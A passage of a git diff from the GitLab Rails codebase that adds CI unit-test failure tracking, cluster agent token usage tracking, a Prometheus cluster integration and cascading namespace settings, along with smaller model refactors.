+ class UnitTest < ApplicationRecord
+ extend Gitlab::Ci::Model
+
+ MAX_NAME_SIZE = 255
+ MAX_SUITE_NAME_SIZE = 255
+
+ validates :project, :key_hash, :name, :suite_name, presence: true
+
+ has_many :unit_test_failures, class_name: 'Ci::UnitTestFailure'
+
+ belongs_to :project
+
+ scope :by_project_and_keys, -> (project, keys) { where(project_id: project.id, key_hash: keys) }
+
+ class << self
+ def find_or_create_by_batch(project, unit_test_attrs)
+ # Insert records first. Existing ones will be skipped.
+ insert_all(build_insert_attrs(project, unit_test_attrs))
+
+ # Find all matching records now that we are sure they all are persisted.
+ by_project_and_keys(project, gather_keys(unit_test_attrs))
+ end
+
+ private
+
+ def build_insert_attrs(project, unit_test_attrs)
+ # NOTE: Rails 6.1 will add support for insert_all on relation so that
+ # we will be able to do project.test_cases.insert_all.
+ unit_test_attrs.map do |attrs|
+ attrs.merge(
+ project_id: project.id,
+ name: attrs[:name].truncate(MAX_NAME_SIZE),
+ suite_name: attrs[:suite_name].truncate(MAX_SUITE_NAME_SIZE)
+ )
+ end
+ end
+
+ def gather_keys(unit_test_attrs)
+ unit_test_attrs.map { |attrs| attrs[:key_hash] }
+ end
+ end
+ end
+end
diff --git a/app/models/ci/unit_test_failure.rb b/app/models/ci/unit_test_failure.rb
new file mode 100644
index 00000000000..653a56bd2b3
--- /dev/null
+++ b/app/models/ci/unit_test_failure.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Ci
+ class UnitTestFailure < ApplicationRecord
+ extend Gitlab::Ci::Model
+
+ REPORT_WINDOW = 14.days
+
+ validates :unit_test, :build, :failed_at, presence: true
+
+ belongs_to :unit_test, class_name: "Ci::UnitTest", foreign_key: :unit_test_id
+ belongs_to :build, class_name: "Ci::Build", foreign_key: :build_id
+
+ def self.recent_failures_count(project:, unit_test_keys:, date_range: REPORT_WINDOW.ago..Time.current)
+ joins(:unit_test)
+ .where(
+ ci_unit_tests: {
+ project_id: project.id,
+ key_hash: unit_test_keys
+ },
+ ci_unit_test_failures: {
+ failed_at: date_range
+ }
+ )
+ .group(:key_hash)
+ .count('ci_unit_test_failures.id')
+ end
+ end
+end
diff --git a/app/models/clusters/agent_token.rb b/app/models/clusters/agent_token.rb
index 9d79887b574..d42279502c5 100644
--- a/app/models/clusters/agent_token.rb
+++ b/app/models/clusters/agent_token.rb
@@ -2,17 +2,45 @@
module Clusters
class AgentToken < ApplicationRecord
+ include RedisCacheable
include TokenAuthenticatable
+
add_authentication_token_field :token, encrypted: :required, token_generator: -> { Devise.friendly_token(50) }
+ cached_attr_reader :last_contacted_at
self.table_name = 'cluster_agent_tokens'
+ # The `UPDATE_USED_COLUMN_EVERY` defines how often the token DB entry can be updated
+ UPDATE_USED_COLUMN_EVERY = (40.minutes..55.minutes).freeze
+
belongs_to :agent, class_name: 'Clusters::Agent', optional: false
belongs_to :created_by_user, class_name: 'User', optional: true
before_save :ensure_token
validates :description, length: { maximum: 1024 }
- validates :name, presence: true, length: { maximum: 255 }, on: :create
+ validates :name, presence: true, length: { maximum: 255 }
+
+ def track_usage
+ track_values = { last_used_at: Time.current.utc }
+
+ cache_attributes(track_values)
+
+ # Use update_column so updated_at is skipped
+ update_columns(track_values) if can_update_track_values?
+ end
+
+ private
+
+ def can_update_track_values?
+ # Use a random threshold to prevent beating DB updates.
+ last_used_at_max_age = Random.rand(UPDATE_USED_COLUMN_EVERY)
+
+ real_last_used_at = read_attribute(:last_used_at)
+
+ # Handle too many updates from high token traffic
+ real_last_used_at.nil? ||
+ (Time.current - real_last_used_at) >= last_used_at_max_age
+ end
end
end
diff --git a/app/models/clusters/applications/prometheus.rb b/app/models/clusters/applications/prometheus.rb
index 55a9a0ccb81..b9c136abab4 100644
--- a/app/models/clusters/applications/prometheus.rb
+++ b/app/models/clusters/applications/prometheus.rb
@@ -3,7 +3,7 @@
module Clusters
module Applications
class Prometheus < ApplicationRecord
- include PrometheusAdapter
+ include ::Clusters::Concerns::PrometheusClient
VERSION = '10.4.1'
@@ -32,7 +32,7 @@ module Clusters
end
state_machine :status do
- after_transition any => [:installed] do |application|
+ after_transition any => [:installed, :externally_installed] do |application|
application.run_after_commit do
Clusters::Applications::ActivateServiceWorker
.perform_async(application.cluster_id, ::PrometheusService.to_param) # rubocop:disable CodeReuse/ServiceClass
@@ -58,14 +58,6 @@ module Clusters
'https://gitlab-org.gitlab.io/cluster-integration/helm-stable-archive'
end
- def service_name
- 'prometheus-prometheus-server'
- end
-
- def service_port
- 80
- end
-
def install_command
helm_command_module::InstallCommand.new(
name: name,
@@ -106,29 +98,6 @@ module Clusters
files.merge('values.yaml': replaced_values)
end
- def prometheus_client
- return unless kube_client
-
- proxy_url = kube_client.proxy_url('service', service_name, service_port, Gitlab::Kubernetes::Helm::NAMESPACE)
-
- # ensures headers containing auth data are appended to original k8s client options
- options = kube_client.rest_client.options
- .merge(prometheus_client_default_options)
- .merge(headers: kube_client.headers)
- Gitlab::PrometheusClient.new(proxy_url, options)
- rescue Kubeclient::HttpError, Errno::ECONNRESET, Errno::ECONNREFUSED, Errno::ENETUNREACH
- # If users have mistakenly set parameters or removed the depended clusters,
- # `proxy_url` could raise an exception because gitlab can not communicate with the cluster.
- # Since `PrometheusAdapter#can_query?` is eargely loaded on environement pages in gitlab,
- # we need to silence the exceptions
- end
-
- def configured?
- kube_client.present? && available?
- rescue Gitlab::UrlBlocker::BlockedUrlError
- false
- end
-
def generate_alert_manager_token!
unless alert_manager_token.present?
update!(alert_manager_token: generate_token)
@@ -146,10 +115,6 @@ module Clusters
.perform_async(cluster_id, ::PrometheusService.to_param) # rubocop:disable CodeReuse/ServiceClass
end
- def kube_client
- cluster&.kubeclient&.core_client
- end
-
def install_knative_metrics
return [] unless cluster.application_knative_available?
diff --git a/app/models/clusters/applications/runner.rb b/app/models/clusters/applications/runner.rb
index 8a49d476ba7..bc80bcd0b06 100644
--- a/app/models/clusters/applications/runner.rb
+++ b/app/models/clusters/applications/runner.rb
@@ -3,7 +3,7 @@
module Clusters
module Applications
class Runner < ApplicationRecord
- VERSION = '0.26.0'
+ VERSION = '0.27.0'
self.table_name = 'clusters_applications_runners'
diff --git a/app/models/clusters/cluster.rb b/app/models/clusters/cluster.rb
index a34d8a6b98d..a1e2aa194a0 100644
--- a/app/models/clusters/cluster.rb
+++ b/app/models/clusters/cluster.rb
@@ -51,6 +51,8 @@ module Clusters
has_one :platform_kubernetes, class_name: 'Clusters::Platforms::Kubernetes', inverse_of: :cluster, autosave: true
+ has_one :integration_prometheus, class_name: 'Clusters::Integrations::Prometheus', inverse_of: :cluster
+
def self.has_one_cluster_application(name) # rubocop:disable Naming/PredicateName
application = APPLICATIONS[name.to_s]
has_one application.association_name, class_name: application.to_s, inverse_of: :cluster # rubocop:disable Rails/ReflectionClassName
@@ -100,7 +102,6 @@ module Clusters
delegate :rbac?, to: :platform_kubernetes, prefix: true, allow_nil: true
delegate :available?, to: :application_helm, prefix: true, allow_nil: true
delegate :available?, to: :application_ingress, prefix: true, allow_nil: true
- delegate :available?, to: :application_prometheus, prefix: true, allow_nil: true
delegate :available?, to: :application_knative, prefix: true, allow_nil: true
delegate :available?, to: :application_elastic_stack, prefix: true, allow_nil: true
delegate :external_ip, to: :application_ingress, prefix: true, allow_nil: true
@@ -148,6 +149,9 @@ module Clusters
scope :with_management_project, -> { where.not(management_project: nil) }
scope :for_project_namespace, -> (namespace_id) { joins(:projects).where(projects: { namespace_id: namespace_id }) }
+
+ # with_application_prometheus scope is deprecated, and scheduled for removal
+ # in %14.0. See https://gitlab.com/groups/gitlab-org/-/epics/4280
scope :with_application_prometheus, -> { includes(:application_prometheus).joins(:application_prometheus) }
scope :with_project_http_integrations, -> (project_ids) do
conditions = { projects: :alert_management_http_integrations }
@@ -276,6 +280,10 @@ module Clusters
public_send(association_name) || public_send("build_#{association_name}") # rubocop:disable GitlabSecurity/PublicSend
end
+ def find_or_build_integration_prometheus
+ integration_prometheus || build_integration_prometheus
+ end
+
def provider
if gcp?
provider_gcp
@@ -361,8 +369,12 @@ module Clusters
end
end
+ def application_prometheus_available?
+ integration_prometheus&.available? || application_prometheus&.available?
+ end
+
def prometheus_adapter
- application_prometheus
+ integration_prometheus || application_prometheus
end
private
diff --git a/app/models/clusters/clusters_hierarchy.rb b/app/models/clusters/clusters_hierarchy.rb
index c9c18d8c96a..125783e6ee1 100644
--- a/app/models/clusters/clusters_hierarchy.rb
+++ b/app/models/clusters/clusters_hierarchy.rb
@@ -16,7 +16,7 @@ module Clusters
model
.unscoped
- .where('clusters.id IS NOT NULL')
+ .where.not('clusters.id' => nil)
.with
.recursive(cte.to_arel)
.from(cte_alias)
diff --git a/app/models/clusters/concerns/application_status.rb b/app/models/clusters/concerns/application_status.rb
index 95ac95448dd..7485ee079ce 100644
--- a/app/models/clusters/concerns/application_status.rb
+++ b/app/models/clusters/concerns/application_status.rb
@@ -9,6 +9,7 @@ module Clusters
scope :available, -> do
where(
status: [
+ self.state_machines[:status].states[:externally_installed].value,
self.state_machines[:status].states[:installed].value,
self.state_machines[:status].states[:updated].value
]
@@ -28,6 +29,7 @@ module Clusters
state :uninstalling, value: 7
state :uninstall_errored, value: 8
state :uninstalled, value: 10
+ state :externally_installed, value: 11
# Used for applications that are pre-installed by the cluster,
# e.g. Knative in GCP Cloud Run enabled clusters
@@ -37,7 +39,7 @@ module Clusters
state :pre_installed, value: 9
event :make_externally_installed do
- transition any => :installed
+ transition any => :externally_installed
end
event :make_externally_uninstalled do
@@ -79,7 +81,7 @@ module Clusters
transition [:scheduled] => :uninstalling
end
- before_transition any => [:scheduled, :installed, :uninstalled] do |application, _|
+ before_transition any => [:scheduled, :installed, :uninstalled, :externally_installed] do |application, _|
application.status_reason = nil
end
@@ -114,7 +116,7 @@ module Clusters
end
def available?
- pre_installed? || installed? || updated?
+ pre_installed? || installed? || externally_installed? || updated?
end
def update_in_progress?
diff --git a/app/models/clusters/concerns/application_version.rb b/app/models/clusters/concerns/application_version.rb
index 6c0b014662c..dab0bd23e2e 100644
--- a/app/models/clusters/concerns/application_version.rb
+++ b/app/models/clusters/concerns/application_version.rb
@@ -5,11 +5,17 @@ module Clusters
module ApplicationVersion
extend ActiveSupport::Concern
+ EXTERNAL_VERSION = 'EXTERNALLY_INSTALLED'
+
included do
state_machine :status do
before_transition any => [:installed, :updated] do |application|
application.version = application.class.const_get(:VERSION, false)
end
+
+ before_transition any => [:externally_installed] do |application|
+ application.version = EXTERNAL_VERSION
+ end
end
end
diff --git a/app/models/clusters/concerns/prometheus_client.rb b/app/models/clusters/concerns/prometheus_client.rb
new file mode 100644
index 00000000000..10cb307addd
--- /dev/null
+++ b/app/models/clusters/concerns/prometheus_client.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module Clusters
+ module Concerns
+ module PrometheusClient
+ extend ActiveSupport::Concern
+
+ included do
+ include PrometheusAdapter
+
+ def service_name
+ 'prometheus-prometheus-server'
+ end
+
+ def service_port
+ 80
+ end
+
+ def prometheus_client
+ return unless kube_client
+
+ proxy_url = kube_client.proxy_url('service', service_name, service_port, Gitlab::Kubernetes::Helm::NAMESPACE)
+
+ # ensures headers containing auth data are appended to original k8s client options
+ options = kube_client.rest_client.options
+ .merge(prometheus_client_default_options)
+ .merge(headers: kube_client.headers)
+ Gitlab::PrometheusClient.new(proxy_url, options)
+ rescue Kubeclient::HttpError, Errno::ECONNRESET, Errno::ECONNREFUSED, Errno::ENETUNREACH
+ # If users have mistakenly set parameters or removed the depended clusters,
+ # `proxy_url` could raise an exception because gitlab can not communicate with the cluster.
+ # Since `PrometheusAdapter#can_query?` is eargely loaded on environement pages in gitlab,
+ # we need to silence the exceptions
+ end
+
+ def configured?
+ kube_client.present? && available?
+ rescue Gitlab::UrlBlocker::BlockedUrlError
+ false
+ end
+
+ private
+
+ def kube_client
+ cluster&.kubeclient&.core_client
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/clusters/integrations/prometheus.rb b/app/models/clusters/integrations/prometheus.rb
new file mode 100644
index 00000000000..1496d8ff1dd
--- /dev/null
+++ b/app/models/clusters/integrations/prometheus.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Clusters
+ module Integrations
+ class Prometheus < ApplicationRecord
+ include ::Clusters::Concerns::PrometheusClient
+
+ self.table_name = 'clusters_integration_prometheus'
+ self.primary_key = :cluster_id
+
+ belongs_to :cluster, class_name: 'Clusters::Cluster', foreign_key: :cluster_id
+
+ validates :cluster, presence: true
+ validates :enabled, inclusion: { in: [true, false] }
+
+ def available?
+ enabled?
+ end
+ end
+ end
+end
diff --git a/app/models/commit.rb b/app/models/commit.rb
index bf168aaacc5..5c3e3685c64 100644
--- a/app/models/commit.rb
+++ b/app/models/commit.rb
@@ -62,7 +62,8 @@ class Commit
collection.sort do |a, b|
operands = [a, b].tap { |o| o.reverse! if sort == 'desc' }
- attr1, attr2 = operands.first.public_send(order_by), operands.second.public_send(order_by) # rubocop:disable PublicSend
+ attr1 = operands.first.public_send(order_by) # rubocop:disable GitlabSecurity/PublicSend
+ attr2 = operands.second.public_send(order_by) # rubocop:disable GitlabSecurity/PublicSend
# use case insensitive comparison for string values
order_by.in?(%w[email name]) ? attr1.casecmp(attr2) : attr1 <=> attr2
@@ -222,6 +223,14 @@ class Commit
end
end
+ def author_full_text
+ return unless author_name && author_email
+
+ strong_memoize(:author_full_text) do
+ "#{author_name} <#{author_email}>"
+ end
+ end
+
# Returns full commit message if title is truncated (greater than 99 characters)
# otherwise returns commit message without first line
def description
diff --git a/app/models/commit_status.rb b/app/models/commit_status.rb
index 524429bf12a..e989129209a 100644
--- a/app/models/commit_status.rb
+++ b/app/models/commit_status.rb
@@ -55,6 +55,8 @@ class CommitStatus < ApplicationRecord
scope :for_ref, -> (ref) { where(ref: ref) }
scope :by_name, -> (name) { where(name: name) }
scope :in_pipelines, ->(pipelines) { where(pipeline: pipelines) }
+ scope :eager_load_pipeline, -> { eager_load(:pipeline, project: { namespace: :route }) }
+ scope :with_pipeline, -> { joins(:pipeline) }
scope :for_project_paths, -> (paths) do
where(project: Project.where_full_path_in(Array(paths)))
@@ -179,14 +181,9 @@ class CommitStatus < ApplicationRecord
end
after_transition any => :failed do |commit_status|
- next unless commit_status.project
-
- # rubocop: disable CodeReuse/ServiceClass
commit_status.run_after_commit do
- MergeRequests::AddTodoWhenBuildFailsService
- .new(project, nil).execute(self)
+ ::Gitlab::Ci::Pipeline::Metrics.job_failure_reason_counter.increment(reason: commit_status.failure_reason)
end
- # rubocop: enable CodeReuse/ServiceClass
end
end
@@ -210,26 +207,7 @@ class CommitStatus < ApplicationRecord
end
def group_name
- simplified_commit_status_group_name_feature_flag = Gitlab::SafeRequestStore.fetch("project:#{project_id}:simplified_commit_status_group_name") do
- Feature.enabled?(:simplified_commit_status_group_name, project, default_enabled: false)
- end
-
- if simplified_commit_status_group_name_feature_flag
- # Only remove one or more [...] "X/Y" "X Y" from the end of build names.
- # More about the regular expression logic: https://docs.gitlab.com/ee/ci/jobs/#group-jobs-in-a-pipeline
-
- name.to_s.sub(%r{([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z}, '').strip
- else
- # Prior implementation, remove [...] "X/Y" "X Y" from the beginning and middle of build names
- # 'rspec:linux: 1/10' => 'rspec:linux'
- common_name = name.to_s.gsub(%r{\b\d+[\s:\/\\]+\d+\s*}, '')
-
- # 'rspec:linux: [aws, max memory]' => 'rspec:linux', 'rspec:linux: [aws]' => 'rspec:linux'
- common_name.gsub!(%r{: \[.*\]\s*\z}, '')
-
- common_name.strip!
- common_name
- end
+ name.to_s.sub(%r{([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z}, '').strip
end
def failed_but_allowed?
@@ -293,7 +271,8 @@ class CommitStatus < ApplicationRecord
end
def update_older_statuses_retried!
- self.class
+ pipeline
+ .statuses
.latest
.where(name: name)
.where.not(id: id)
diff --git a/app/models/concerns/avatarable.rb b/app/models/concerns/avatarable.rb
index c106c08c04a..fdc418029be 100644
--- a/app/models/concerns/avatarable.rb
+++ b/app/models/concerns/avatarable.rb
@@ -131,7 +131,6 @@ module Avatarable
def clear_avatar_caches
return unless respond_to?(:verified_emails) && verified_emails.any? && avatar_changed?
- return unless Feature.enabled?(:avatar_cache_for_email, self, type: :development)
Gitlab::AvatarCache.delete_by_email(*verified_emails)
end
diff --git a/app/models/concerns/boards/listable.rb b/app/models/concerns/boards/listable.rb
index d6863e87261..b9827a79422 100644
--- a/app/models/concerns/boards/listable.rb
+++ b/app/models/concerns/boards/listable.rb
@@ -13,6 +13,7 @@ module Boards
scope :ordered, -> { order(:list_type, :position) }
scope :destroyable, -> { where(list_type: list_types.slice(*destroyable_types).values) }
scope :movable, -> { where(list_type: list_types.slice(*movable_types).values) }
+ scope :without_types, ->(list_types) { where.not(list_type: list_types) }
class << self
def preload_preferences_for_user(lists, user)
diff --git a/app/models/concerns/bulk_member_access_load.rb b/app/models/concerns/bulk_member_access_load.rb
index f44ad474cd5..e252ca36629 100644
--- a/app/models/concerns/bulk_member_access_load.rb
+++ b/app/models/concerns/bulk_member_access_load.rb
@@ -13,13 +13,7 @@ module BulkMemberAccessLoad
raise 'Block is mandatory' unless block_given?
resource_ids = resource_ids.uniq
- key = max_member_access_for_resource_key(resource_klass, memoization_index)
- access = {}
-
- if Gitlab::SafeRequestStore.active?
- Gitlab::SafeRequestStore[key] ||= {}
- access = Gitlab::SafeRequestStore[key]
- end
+ access = load_access_hash(resource_klass, memoization_index)
# Look up only the IDs we need
resource_ids -= access.keys
@@ -39,10 +33,28 @@ module BulkMemberAccessLoad
access
end
+ def merge_value_to_request_store(resource_klass, resource_id, memoization_index, value)
+ max_member_access_for_resource_ids(resource_klass, [resource_id], memoization_index) do
+ { resource_id => value }
+ end
+ end
+
private
def max_member_access_for_resource_key(klass, memoization_index)
"max_member_access_for_#{klass.name.underscore.pluralize}:#{memoization_index}"
end
+
+ def load_access_hash(resource_klass, memoization_index)
+ key = max_member_access_for_resource_key(resource_klass, memoization_index)
+
+ access = {}
+ if Gitlab::SafeRequestStore.active?
+ Gitlab::SafeRequestStore[key] ||= {}
+ access = Gitlab::SafeRequestStore[key]
+ end
+
+ access
+ end
end
end
diff --git a/app/models/concerns/cache_markdown_field.rb b/app/models/concerns/cache_markdown_field.rb
index 45944401c2d..34c1b6d25a4 100644
--- a/app/models/concerns/cache_markdown_field.rb
+++ b/app/models/concerns/cache_markdown_field.rb
@@ -56,12 +56,12 @@ module CacheMarkdownField
# Update every applicable column in a row if any one is invalidated, as we only store
# one version per row
def refresh_markdown_cache
- updates = cached_markdown_fields.markdown_fields.map do |markdown_field|
+ updates = cached_markdown_fields.markdown_fields.to_h do |markdown_field|
[
cached_markdown_fields.html_field(markdown_field),
rendered_field_content(markdown_field)
]
- end.to_h
+ end
updates['cached_markdown_version'] = latest_cached_markdown_version
diff --git a/app/models/concerns/cascading_namespace_setting_attribute.rb b/app/models/concerns/cascading_namespace_setting_attribute.rb
new file mode 100644
index 00000000000..2b4a108a9a0
--- /dev/null
+++ b/app/models/concerns/cascading_namespace_setting_attribute.rb
@@ -0,0 +1,241 @@
+# frozen_string_literal: true
+
+#
+# Cascading attributes enables managing settings in a flexible way.
+#
+# - Instance administrator can define an instance-wide default setting, or
+# lock the setting to prevent change by group owners.
+# - Group maintainers/owners can define a default setting for their group, or
+# lock the setting to prevent change by sub-group maintainers/owners.
+#
+# Behavior:
+#
+# - When a group does not have a value (value is `nil`), cascade up the
+# hierarchy to find the first non-nil value.
+# - Settings can be locked at any level to prevent groups/sub-groups from
+# overriding.
+# - If the setting isn't locked, the default can be overridden.
+# - An instance administrator or group maintainer/owner can push settings values
+# to groups/sub-groups to override existing values, even when the setting
+# is not otherwise locked.
+#
+module CascadingNamespaceSettingAttribute
+ extend ActiveSupport::Concern
+ include Gitlab::Utils::StrongMemoize
+
+ class_methods do
+ def cascading_settings_feature_enabled?
+ ::Feature.enabled?(:cascading_namespace_settings, default_enabled: true)
+ end
+
+ private
+
+ # Facilitates the cascading lookup of values and,
+ # similar to Rails' `attr_accessor`, defines convenience methods such as
+ # a reader, writer, and validators.
+ #
+ # Example: `cascading_attr :delayed_project_removal`
+ #
+ # Public methods defined:
+ # - `delayed_project_removal`
+ # - `delayed_project_removal=`
+ # - `delayed_project_removal_locked?`
+ # - `delayed_project_removal_locked_by_ancestor?`
+ # - `delayed_project_removal_locked_by_application_setting?`
+ # - `delayed_project_removal?` (only defined for boolean attributes)
+ # - `delayed_project_removal_locked_ancestor` - Returns locked namespace settings object (only namespace_id)
+ #
+ # Defined validators ensure attribute value cannot be updated if locked by
+ # an ancestor or application settings.
+ #
+ # Requires database columns be present in both `namespace_settings` and
+ # `application_settings`.
+ def cascading_attr(*attributes)
+ attributes.map(&:to_sym).each do |attribute|
+ # public methods
+ define_attr_reader(attribute)
+ define_attr_writer(attribute)
+ define_lock_methods(attribute)
+ alias_boolean(attribute)
+
+ # private methods
+ define_validator_methods(attribute)
+ define_after_update(attribute)
+
+ validate :"#{attribute}_changeable?"
+ validate :"lock_#{attribute}_changeable?"
+
+ after_update :"clear_descendant_#{attribute}_locks", if: -> { saved_change_to_attribute?("lock_#{attribute}", to: true) }
+ end
+ end
+
+ # The cascading attribute reader method handles lookups
+ # with the following criteria:
+ #
+ # 1. Returns the dirty value, if the attribute has changed.
+ # 2. Return locked ancestor value.
+ # 3. Return locked instance-level application settings value.
+ # 4. Return this namespace's attribute, if not nil.
+ # 5. Return value from nearest ancestor where value is not nil.
+ # 6. Return instance-level application setting.
+ def define_attr_reader(attribute)
+ define_method(attribute) do
+ strong_memoize(attribute) do
+ next self[attribute] unless self.class.cascading_settings_feature_enabled?
+
+ next self[attribute] if will_save_change_to_attribute?(attribute)
+ next locked_value(attribute) if cascading_attribute_locked?(attribute)
+ next self[attribute] unless self[attribute].nil?
+
+ cascaded_value = cascaded_ancestor_value(attribute)
+ next cascaded_value unless cascaded_value.nil?
+
+ application_setting_value(attribute)
+ end
+ end
+ end
+
+ def define_attr_writer(attribute)
+ define_method("#{attribute}=") do |value|
+ clear_memoization(attribute)
+
+ super(value)
+ end
+ end
+
+ def define_lock_methods(attribute)
+ define_method("#{attribute}_locked?") do
+ cascading_attribute_locked?(attribute)
+ end
+
+ define_method("#{attribute}_locked_by_ancestor?") do
+ locked_by_ancestor?(attribute)
+ end
+
+ define_method("#{attribute}_locked_by_application_setting?") do
+ locked_by_application_setting?(attribute)
+ end
+
+ define_method("#{attribute}_locked_ancestor") do
+ locked_ancestor(attribute)
+ end
+ end
+
+ def alias_boolean(attribute)
+ return unless Gitlab::Database.exists? && type_for_attribute(attribute).type == :boolean
+
+ alias_method :"#{attribute}?", attribute
+ end
+
+ # Defines two validations - one for the cascadable attribute itself and one
+ # for the lock attribute. Only allows the respective value to change if
+ # an ancestor has not already locked the value.
+ def define_validator_methods(attribute)
+ define_method("#{attribute}_changeable?") do
+ return unless cascading_attribute_changed?(attribute)
+ return unless cascading_attribute_locked?(attribute)
+
+ errors.add(attribute, s_('CascadingSettings|cannot be changed because it is locked by an ancestor'))
+ end
+
+ define_method("lock_#{attribute}_changeable?") do
+ return unless cascading_attribute_changed?("lock_#{attribute}")
+
+ if cascading_attribute_locked?(attribute)
+ return errors.add(:"lock_#{attribute}", s_('CascadingSettings|cannot be changed because it is locked by an ancestor'))
+ end
+
+ # Don't allow locking a `nil` attribute.
+ # Even if the value being locked is currently cascaded from an ancestor,
+ # it should be copied to this record to avoid the ancestor changing the
+ # value unexpectedly later.
+ return unless self[attribute].nil? && public_send("lock_#{attribute}?") # rubocop:disable GitlabSecurity/PublicSend
+
+ errors.add(attribute, s_('CascadingSettings|cannot be nil when locking the attribute'))
+ end
+
+ private :"#{attribute}_changeable?", :"lock_#{attribute}_changeable?"
+ end
+
+ # When a particular group locks the attribute, clear all sub-group locks
+ # since the higher lock takes priority.
+ def define_after_update(attribute)
+ define_method("clear_descendant_#{attribute}_locks") do
+ self.class.where(namespace_id: descendants).update_all("lock_#{attribute}" => false)
+ end
+
+ private :"clear_descendant_#{attribute}_locks"
+ end
+ end
+
+ private
+
+ def locked_value(attribute)
+ ancestor = locked_ancestor(attribute)
+ return ancestor.read_attribute(attribute) if ancestor
+
+ Gitlab::CurrentSettings.public_send(attribute) # rubocop:disable GitlabSecurity/PublicSend
+ end
+
+ def locked_ancestor(attribute)
+ return unless self.class.cascading_settings_feature_enabled?
+ return unless namespace.has_parent?
+
+ strong_memoize(:"#{attribute}_locked_ancestor") do
+ self.class
+ .select(:namespace_id, "lock_#{attribute}", attribute)
+ .where(namespace_id: namespace_ancestor_ids)
+ .where(self.class.arel_table["lock_#{attribute}"].eq(true))
+ .limit(1).load.first
+ end
+ end
+
+ def locked_by_ancestor?(attribute)
+ return false unless self.class.cascading_settings_feature_enabled?
+
+ locked_ancestor(attribute).present?
+ end
+
+ def locked_by_application_setting?(attribute)
+ return false unless self.class.cascading_settings_feature_enabled?
+
+ Gitlab::CurrentSettings.public_send("lock_#{attribute}") # rubocop:disable GitlabSecurity/PublicSend
+ end
+
+ def cascading_attribute_locked?(attribute)
+ locked_by_ancestor?(attribute) || locked_by_application_setting?(attribute)
+ end
+
+ def cascading_attribute_changed?(attribute)
+ public_send("#{attribute}_changed?") # rubocop:disable GitlabSecurity/PublicSend
+ end
+
+ def cascaded_ancestor_value(attribute)
+ return unless namespace.has_parent?
+
+ # rubocop:disable GitlabSecurity/SqlInjection
+ self.class
+ .select(attribute)
+ .joins("join unnest(ARRAY[#{namespace_ancestor_ids.join(',')}]) with ordinality t(namespace_id, ord) USING (namespace_id)")
+ .where("#{attribute} IS NOT NULL")
+ .order('t.ord')
+ .limit(1).first&.read_attribute(attribute)
+ # rubocop:enable GitlabSecurity/SqlInjection
+ end
+
+ def application_setting_value(attribute)
+ Gitlab::CurrentSettings.public_send(attribute) # rubocop:disable GitlabSecurity/PublicSend
+ end
+
+ def namespace_ancestor_ids
+ strong_memoize(:namespace_ancestor_ids) do
+ namespace.self_and_ancestors(hierarchy_order: :asc).pluck(:id).reject { |id| id == namespace_id }
+ end
+ end
+
+ def descendants
+ strong_memoize(:descendants) do
+ namespace.descendants.pluck(:id)
+ end
+ end
+end
diff --git a/app/models/concerns/ci/artifactable.rb b/app/models/concerns/ci/artifactable.rb
index cbe7d3b6abb..0d29955268f 100644
--- a/app/models/concerns/ci/artifactable.rb
+++ b/app/models/concerns/ci/artifactable.rb
@@ -4,8 +4,10 @@ module Ci
module Artifactable
extend ActiveSupport::Concern
- NotSupportedAdapterError = Class.new(StandardError)
+ include ObjectStorable
+ STORE_COLUMN = :file_store
+ NotSupportedAdapterError = Class.new(StandardError)
FILE_FORMAT_ADAPTERS = {
gzip: Gitlab::Ci::Build::Artifacts::Adapters::GzipStream,
raw: Gitlab::Ci::Build::Artifacts::Adapters::RawStream
@@ -20,6 +22,7 @@ module Ci
scope :expired_before, -> (timestamp) { where(arel_table[:expire_at].lt(timestamp)) }
scope :expired, -> (limit) { expired_before(Time.current).limit(limit) }
+ scope :project_id_in, ->(ids) { where(project_id: ids) }
end
def each_blob(&blk)
@@ -39,3 +42,5 @@ module Ci
end
end
end
+
+Ci::Artifactable.prepend_ee_mod
diff --git a/app/models/concerns/ci/has_status.rb b/app/models/concerns/ci/has_status.rb
index 0412f7a072b..c990da5873a 100644
--- a/app/models/concerns/ci/has_status.rb
+++ b/app/models/concerns/ci/has_status.rb
@@ -16,6 +16,19 @@ module Ci
STATUSES_ENUM = { created: 0, pending: 1, running: 2, success: 3,
failed: 4, canceled: 5, skipped: 6, manual: 7,
scheduled: 8, preparing: 9, waiting_for_resource: 10 }.freeze
+ STATUSES_DESCRIPTION = {
+ created: 'Pipeline has been created',
+ waiting_for_resource: 'A resource (for example, a runner) that the pipeline requires to run is unavailable',
+ preparing: 'Pipeline is preparing to run',
+ pending: 'Pipeline has not started running yet',
+ running: 'Pipeline is running',
+ failed: 'At least one stage of the pipeline failed',
+ success: 'Pipeline completed successfully',
+ canceled: 'Pipeline was canceled before completion',
+ skipped: 'Pipeline was skipped',
+ manual: 'Pipeline needs to be manually started',
+ scheduled: 'Pipeline is scheduled to run'
+ }.freeze
UnknownStatusError = Class.new(StandardError)
diff --git a/app/models/concerns/counter_attribute.rb b/app/models/concerns/counter_attribute.rb
index b468415c4c7..829b2a6ef21 100644
--- a/app/models/concerns/counter_attribute.rb
+++ b/app/models/concerns/counter_attribute.rb
@@ -33,7 +33,7 @@ module CounterAttribute
extend AfterCommitQueue
include Gitlab::ExclusiveLeaseHelpers
- LUA_STEAL_INCREMENT_SCRIPT = <<~EOS.freeze
+ LUA_STEAL_INCREMENT_SCRIPT = <<~EOS
local increment_key, flushed_key = KEYS[1], KEYS[2]
local increment_value = redis.call("get", increment_key) or 0
local flushed_value = redis.call("incrby", flushed_key, increment_value)
diff --git a/app/models/concerns/deprecated_assignee.rb b/app/models/concerns/deprecated_assignee.rb
index 7f12ce39c96..3f557ee9b48 100644
--- a/app/models/concerns/deprecated_assignee.rb
+++ b/app/models/concerns/deprecated_assignee.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-# This module handles backward compatibility for import/export of Merge Requests after
+# This module handles backward compatibility for import/export of merge requests after
# multiple assignees feature was introduced. Also, it handles the scenarios where
# the #26496 background migration hasn't finished yet.
# Ideally, most of this code should be removed at #59457.
diff --git a/app/models/concerns/enums/ci/commit_status.rb b/app/models/concerns/enums/ci/commit_status.rb
index 48b4a402974..de17f50cd29 100644
--- a/app/models/concerns/enums/ci/commit_status.rb
+++ b/app/models/concerns/enums/ci/commit_status.rb
